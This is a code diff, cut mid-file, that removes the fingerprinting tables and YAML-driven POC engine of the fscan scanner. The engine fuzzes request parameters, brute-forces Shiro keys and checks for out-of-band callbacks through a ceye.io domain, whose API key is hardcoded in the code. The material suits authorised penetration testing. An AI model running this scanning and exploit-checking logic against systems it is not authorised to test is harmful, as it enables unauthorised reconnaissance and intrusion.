{"海天OA", "code", "(HTVOS.js)"},
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
{"网神防火墙", "code", "(css/lsec/login.css)"},
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
{"weblogic", "headers", "(WebLogic)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
{"CMS", "code", "(Powered by .*CMS)"},
{"目录遍历", "code", "(Directory listing for /)"},
{"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
{"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
{"RabbitMQ", "code", "(RabbitMQ Management)"},
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
{"Spring env", "code", "(logback)"},
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
}
var PocDatas = []PocData{
{"致远OA", "seeyon"},
{"泛微OA", "weaver"},
{"通达OA", "tongda"},
{"蓝凌OA", "landray"},
{"ThinkPHP", "thinkphp"},
{"Nexus", "nexus"},
{"齐治堡垒机", "qizhi"},
{"weaver-ebridge", "weaver-ebridge"},
{"weblogic", "weblogic"},
{"zabbix", "zabbix"},
{"VMware vSphere", "vmware"},
{"Jboss", "jboss"},
{"用友", "yongyou"},
{"用友IUFO", "yongyou"},
{"coremail", "coremail"},
{"金山", "kingsoft"},
}
-729
View File
@@ -1,729 +0,0 @@
package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/info"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
)
// API配置常量
const (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥
ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名
)
// Task 定义单个POC检测任务的结构体
type Task struct {
Req *http.Request // HTTP请求对象
Poc *Poc // POC检测脚本
}
// CheckMultiPoc 并发执行多个POC检测
// 参数说明:
// - req: HTTP请求对象
// - pocs: POC检测脚本列表
// - workers: 并发工作协程数量
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
if workers <= 0 {
workers = 1 // 确保至少有一个工作协程
}
tasks := make(chan Task, len(pocs)) // 使用带缓冲的通道,避免阻塞
var wg sync.WaitGroup
// 启动工作协程池
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
// 执行POC检测
isVulnerable, details, vulName := executePoc(task.Req, task.Poc)
if isVulnerable {
// 格式化输出结果
result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+
" 漏洞类型: %s\n"+
" 漏洞名称: %s\n"+
" 详细信息: %s",
task.Req.URL,
task.Poc.Name,
vulName,
details)
Common.LogSuccess(result)
}
wg.Done()
}
}()
}
// 分发任务
for _, poc := range pocs {
wg.Add(1)
tasks <- Task{
Req: req,
Poc: poc,
}
}
// 等待所有任务完成
wg.Wait()
close(tasks)
}
// executePoc 执行单个POC检测
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 初始化环境配置
config := NewEnvOption()
config.UpdateCompileOptions(p.Set)
// 处理额外的设置项
if len(p.Sets) > 0 {
var setMap StrMap
for _, item := range p.Sets {
value := ""
if len(item.Value) > 0 {
value = item.Value[0]
}
setMap = append(setMap, StrItem{item.Key, value})
}
config.UpdateCompileOptions(setMap)
}
// 创建执行环境
env, err := NewEnv(&config)
if err != nil {
return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), ""
}
// 解析请求
req, err := ParseRequest(oReq)
if err != nil {
return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), ""
}
// 初始化变量映射
variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
variableMap["request"] = req
// 处理设置项
for _, item := range p.Set {
key, expression := item.Key, item.Value
if expression == "newReverse()" {
if !Common.DnsLog {
return false, nil, ""
}
variableMap[key] = newReverse()
continue
}
if err, _ = evalset(env, variableMap, key, expression); err != nil {
Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err))
}
}
// 处理爆破模式
if len(p.Sets) > 0 {
success, err := clusterpoc(oReq, p, variableMap, req, env)
return success, err, ""
}
// 处理单个规则的函数
DealWithRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers)
// 替换变量
for varName, varValue := range variableMap {
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
// 替换Header中的变量
for headerKey, headerValue := range Headers {
if strings.Contains(headerValue, "{{"+varName+"}}") {
Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue)
rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue)
}
// 构建请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新的请求
newRequest, err := http.NewRequest(
rule.Method,
fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
strings.NewReader(rule.Body),
)
if err != nil {
return false, fmt.Errorf("创建新请求失败: %v", err)
}
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for k, v := range Headers {
newRequest.Header.Set(k, v)
}
Headers = nil
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if len(result) == 0 {
return false, nil
}
for k, v := range result {
variableMap[k] = v
}
}
// 执行表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
if flag, ok := out.Value().(bool); ok {
return flag, nil
}
return false, nil
}
// 处理规则组的函数
DealWithRules := func(rules []Rules) bool {
for _, rule := range rules {
flag, err := DealWithRule(rule)
if err != nil || !flag {
return false
}
}
return true
}
// 执行检测规则
success := false
if len(p.Rules) > 0 {
success = DealWithRules(p.Rules)
} else {
for _, item := range p.Groups {
name, rules := item.Key, item.Value
if success = DealWithRules(rules); success {
return true, nil, name
}
}
}
return success, nil, ""
}
// doSearch 在响应体中执行正则匹配并提取命名捕获组
func doSearch(re string, body string) map[string]string {
// 编译正则表达式
r, err := regexp.Compile(re)
if err != nil {
Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err))
return nil
}
// 执行正则匹配
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
// 处理匹配结果
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
// 特殊处理Cookie头
if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
paramsMap[name] = optimizeCookies(result[i])
} else {
paramsMap[name] = result[i]
}
}
}
return paramsMap
}
return nil
}
// optimizeCookies 优化Cookie字符串,移除不必要的属性
func optimizeCookies(rawCookie string) string {
var output strings.Builder
// 解析Cookie键值对
pairs := strings.Split(rawCookie, "; ")
for _, pair := range pairs {
nameVal := strings.SplitN(pair, "=", 2)
if len(nameVal) < 2 {
continue
}
// 跳过Cookie属性
switch strings.ToLower(nameVal[0]) {
case "expires", "max-age", "path", "domain",
"version", "comment", "secure", "samesite", "httponly":
continue
}
// 构建Cookie键值对
if output.Len() > 0 {
output.WriteString("; ")
}
output.WriteString(nameVal[0])
output.WriteString("=")
output.WriteString(strings.Join(nameVal[1:], "="))
}
return output.String()
}
// newReverse 创建新的反连检测对象
func newReverse() *Reverse {
// 检查DNS日志功能是否启用
if !Common.DnsLog {
return &Reverse{}
}
// 生成随机子域名
const (
letters = "1234567890abcdefghijklmnopqrstuvwxyz"
subdomainLength = 8
)
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
subdomain := RandomStr(randSource, letters, subdomainLength)
// 构建URL
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
u, err := url.Parse(urlStr)
if err != nil {
Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err))
return &Reverse{}
}
// 返回反连检测配置
return &Reverse{
Url: urlStr,
Domain: u.Hostname(),
Ip: u.Host,
IsDomainNameServer: false,
}
}
// clusterpoc 执行集群POC检测,支持批量参数组合测试
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap // 存储成功的参数组合
var shiroKeyCount int // shiro key测试计数
// 遍历POC规则
for ruleIndex, rule := range p.Rules {
// 检查是否需要进行参数Fuzz测试
if !isFuzz(rule, p.Sets) {
// 不需要Fuzz,直接发送请求
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if !success {
return false, err
}
continue
}
// 生成参数组合
setsMap := Combo(p.Sets)
ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表
// 遍历参数组合
paramLoop:
for comboIndex, paramCombo := range setsMap {
// Shiro Key测试特殊处理:默认只测试10个key
if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && comboIndex >= 10 {
if paramCombo[1] == "cbc" {
continue
} else {
if shiroKeyCount == 0 {
shiroKeyCount = comboIndex
}
if comboIndex-shiroKeyCount >= 10 {
break
}
}
}
// 克隆规则以避免相互影响
currentRule := cloneRules(rule)
var hasReplacement bool
var currentParams StrMap
payloads := make(map[string]interface{})
var payloadExpr string
// 计算所有参数的实际值
for i, set := range p.Sets {
key, expr := set.Key, paramCombo[i]
if key == "payload" {
payloadExpr = expr
}
_, output := evalset1(env, variableMap, key, expr)
payloads[key] = output
}
// 替换规则中的参数
for _, set := range p.Sets {
paramReplaced := false
key := set.Key
value := fmt.Sprintf("%v", payloads[key])
// 替换Header中的参数
for headerKey, headerVal := range currentRule.Headers {
if strings.Contains(headerVal, "{{"+key+"}}") {
currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value)
paramReplaced = true
}
}
// 替换Path中的参数
if strings.Contains(currentRule.Path, "{{"+key+"}}") {
currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value)
paramReplaced = true
}
// 替换Body中的参数
if strings.Contains(currentRule.Body, "{{"+key+"}}") {
currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value)
paramReplaced = true
}
// 记录替换的参数
if paramReplaced {
hasReplacement = true
if key == "payload" {
// 处理payload的特殊情况
hasVarInPayload := false
for varKey, varVal := range variableMap {
if strings.Contains(payloadExpr, varKey) {
hasVarInPayload = true
currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)})
}
}
if hasVarInPayload {
continue
}
}
currentParams = append(currentParams, StrItem{key, value})
}
}
// 如果没有参数被替换,跳过当前组合
if !hasReplacement {
continue
}
// 规则去重
ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule)))
ruleMD5 := fmt.Sprintf("%x", ruleDigest)
if _, exists := ruleHash[ruleMD5]; exists {
continue
}
ruleHash[ruleMD5] = struct{}{}
// 发送请求并处理结果
success, err = clustersend(oReq, variableMap, req, env, currentRule)
if err != nil {
return false, err
}
if success {
// 处理成功情况
if currentRule.Continue {
// 特殊POC的输出处理
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
} else {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams))
}
continue
}
// 记录成功的参数组合
strMap = append(strMap, currentParams...)
if ruleIndex == len(p.Rules)-1 {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
return false, nil
}
break paramLoop
}
}
if !success {
break
}
if rule.Continue {
return false, nil
}
}
return success, nil
}
// isFuzz 检查规则是否包含需要Fuzz测试的参数
func isFuzz(rule Rules, Sets ListMap) bool {
// 遍历所有参数
for _, param := range Sets {
key := param.Key
paramPattern := "{{" + key + "}}"
// 检查Headers中是否包含参数
for _, headerValue := range rule.Headers {
if strings.Contains(headerValue, paramPattern) {
return true
}
}
// 检查Path中是否包含参数
if strings.Contains(rule.Path, paramPattern) {
return true
}
// 检查Body中是否包含参数
if strings.Contains(rule.Body, paramPattern) {
return true
}
}
return false
}
// Combo 生成参数组合
func Combo(input ListMap) [][]string {
if len(input) == 0 {
return nil
}
// 处理只有一个参数的情况
if len(input) == 1 {
output := make([][]string, 0, len(input[0].Value))
for _, value := range input[0].Value {
output = append(output, []string{value})
}
return output
}
// 递归处理多个参数的情况
subCombos := Combo(input[1:])
return MakeData(subCombos, input[0].Value)
}
// MakeData 将新的参数值与已有的组合进行组合
func MakeData(base [][]string, nextData []string) [][]string {
// 预分配足够的空间
output := make([][]string, 0, len(base)*len(nextData))
// 遍历已有组合和新参数值
for _, existingCombo := range base {
for _, newValue := range nextData {
// 创建新组合
newCombo := make([]string, 0, len(existingCombo)+1)
newCombo = append(newCombo, newValue)
newCombo = append(newCombo, existingCombo...)
output = append(output, newCombo)
}
}
return output
}
// clustersend 执行单个规则的HTTP请求和响应检测
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
// 替换请求中的变量
for varName, varValue := range variableMap {
// 跳过map类型的变量
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
varPattern := "{{" + varName + "}}"
// 替换Headers中的变量
for headerKey, headerValue := range rule.Headers {
if strings.Contains(headerValue, varPattern) {
rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue)
}
// 构建完整请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// URL编码处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新的HTTP请求
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
if err != nil {
return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err)
}
defer func() { newRequest = nil }() // 及时释放资源
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for key, value := range rule.Headers {
newRequest.Header.Set(key, value)
}
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, fmt.Errorf("[-] 发送请求失败: %v", err)
}
// 更新响应到变量映射
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
searchContent := GetHeader(resp.Headers) + string(resp.Body)
result := doSearch(rule.Search, searchContent)
if result != nil && len(result) > 0 {
// 将搜索结果添加到变量映射
for key, value := range result {
variableMap[key] = value
}
} else {
return false, nil
}
}
// 执行CEL表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err))
}
return false, err
}
// 检查表达式执行结果
if fmt.Sprintf("%v", out) == "false" {
return false, nil
}
return true, nil
}
// cloneRules 深度复制Rules结构体
// 参数:
// - tags: 原始Rules结构体
// 返回: 复制后的新Rules结构体
func cloneRules(tags Rules) Rules {
return Rules{
Method: tags.Method,
Path: tags.Path,
Body: tags.Body,
Search: tags.Search,
FollowRedirects: tags.FollowRedirects,
Expression: tags.Expression,
Headers: cloneMap(tags.Headers),
}
}
// cloneMap 深度复制字符串映射
func cloneMap(tags map[string]string) map[string]string {
cloneTags := make(map[string]string, len(tags))
for key, value := range tags {
cloneTags[key] = value
}
return cloneTags
}
// evalset 执行CEL表达式并处理特殊类型结果
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
return err, expression
}
// 根据不同类型处理输出
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
return nil, fmt.Sprintf("%v", variableMap[k])
}
// evalset1 执行CEL表达式的简化版本
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
return err, fmt.Sprintf("%v", variableMap[k])
}
// CheckInfoPoc 检查POC信息并返回别名
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Contains(infostr, poc.Name) {
return poc.Alias
}
}
return ""
}
// GetHeader 将HTTP头转换为字符串格式
func GetHeader(header map[string]string) string {
var builder strings.Builder
for name, values := range header {
builder.WriteString(fmt.Sprintf("%s: %s\n", name, values))
}
builder.WriteString("\r\n")
return builder.String()
}
-318
View File
@@ -1,318 +0,0 @@
package lib
import (
"context"
"crypto/tls"
"embed"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
)
// 全局HTTP客户端变量
var (
Client *http.Client // 标准HTTP客户端
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
dialTimout = 5 * time.Second // 连接超时时间
keepAlive = 5 * time.Second // 连接保持时间
)
// Inithttp 初始化HTTP客户端配置
func Inithttp() {
// 设置默认并发数
if Common.PocNum == 0 {
Common.PocNum = 20
}
// 设置默认超时时间
if Common.WebTimeout == 0 {
Common.WebTimeout = 5
}
// 初始化HTTP客户端
err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second)
if err != nil {
panic(err)
}
}
// InitHttpClient 创建HTTP客户端
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
// 配置基础连接参数
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
// 配置Transport参数
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
// 配置Socks5代理
if Common.Socks5Proxy != "" {
dialSocksProxy, err := Common.Socks5Dialer(dialer)
if err != nil {
return err
}
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
tr.DialContext = contextDialer.DialContext
} else {
return errors.New("无法转换为DialContext类型")
}
} else if DownProxy != "" {
// 处理其他代理配置
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
// 验证代理类型
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("不支持的代理类型")
}
// 解析代理URL
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
// 创建标准HTTP客户端
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
// 创建不跟随重定向的HTTP客户端
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
// Poc 定义漏洞检测配置结构
type Poc struct {
Name string `yaml:"name"` // POC名称
Set StrMap `yaml:"set"` // 单值配置映射
Sets ListMap `yaml:"sets"` // 列表值配置映射
Rules []Rules `yaml:"rules"` // 检测规则列表
Groups RuleMap `yaml:"groups"` // 规则组映射
Detail Detail `yaml:"detail"` // 漏洞详情
}
// MapSlice 用于解析YAML的通用映射类型
type MapSlice = yaml.MapSlice
// 自定义映射类型
type (
StrMap []StrItem // 字符串键值对映射
ListMap []ListItem // 字符串键列表值映射
RuleMap []RuleItem // 字符串键规则列表映射
)
// 映射项结构定义
type (
// StrItem 字符串键值对
StrItem struct {
Key string // 键名
Value string // 值
}
// ListItem 字符串键列表值对
ListItem struct {
Key string // 键名
Value []string // 值列表
}
// RuleItem 字符串键规则列表对
RuleItem struct {
Key string // 键名
Value []Rules // 规则列表
}
)
// UnmarshalYAML 实现StrMap的YAML解析接口
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 临时使用MapSlice存储解析结果
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为StrMap结构
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
// UnmarshalYAML 实现RuleMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 使用MapSlice保持键的顺序
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
// 解析规则内容
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
// 按顺序转换为RuleMap结构
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
// UnmarshalYAML 实现ListMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 解析YAML映射
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为ListMap结构
for _, one := range tmp {
key := one.Key.(string)
var value []string
// 将接口类型转换为字符串
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
// Rules 定义POC检测规则结构
type Rules struct {
Method string `yaml:"method"` // HTTP请求方法
Path string `yaml:"path"` // 请求路径
Headers map[string]string `yaml:"headers"` // 请求头
Body string `yaml:"body"` // 请求体
Search string `yaml:"search"` // 搜索模式
FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
Expression string `yaml:"expression"` // 匹配表达式
Continue bool `yaml:"continue"` // 是否继续执行
}
// Detail 定义POC详情结构
type Detail struct {
Author string `yaml:"author"` // POC作者
Links []string `yaml:"links"` // 相关链接
Description string `yaml:"description"` // POC描述
Version string `yaml:"version"` // POC版本
}
// LoadMultiPoc 加载多个POC文件
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
// 遍历选中的POC文件
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
fmt.Printf("[-] POC加载失败 %s: %v\n", f, err)
}
}
return pocs
}
// LoadPoc 从内嵌文件系统加载单个POC
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}
// SelectPoc 根据名称关键字选择POC文件
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("[-] 读取POC目录失败: %v\n", err)
}
var foundFiles []string
// 查找匹配关键字的POC文件
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
// LoadPocbyPath 从文件系统路径加载POC
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
data, err := os.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
